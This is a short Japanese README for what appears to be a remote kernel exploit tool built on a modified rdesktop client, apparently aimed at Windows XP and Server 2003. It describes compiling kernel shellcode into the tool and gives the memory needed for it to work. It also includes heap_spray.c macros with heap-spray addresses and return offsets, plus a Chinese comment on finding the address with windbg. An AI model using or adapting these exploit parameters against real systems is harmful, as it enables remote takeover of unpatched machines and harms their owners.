
XP(SP2、SP3を含む全バージョン)で動作します。
補足:
shellcode/shellcode.asm はカーネルshellcodeのソースコードで、コンパイル後にバイナリへ変換すると、rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b ファイルになります。make 時にそのままプログラムにコンパイルされます。
現在はXPのみサポートしており、XPのメモリは >= 2G 必要です。
2003をサポートする必要がある場合は、heap_spray.c 内の HEAP_SPRAY_ADDRESS マクロのアドレスを変更する必要があります。繰り返しテストしたところ、このアドレスは 03 のシステムバージョンやメモリサイズが異なると異なります。ただし、自分のマシンでテストする場合は、03 で利用を成功させることができます。汎用性はありません。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
2003のテスト
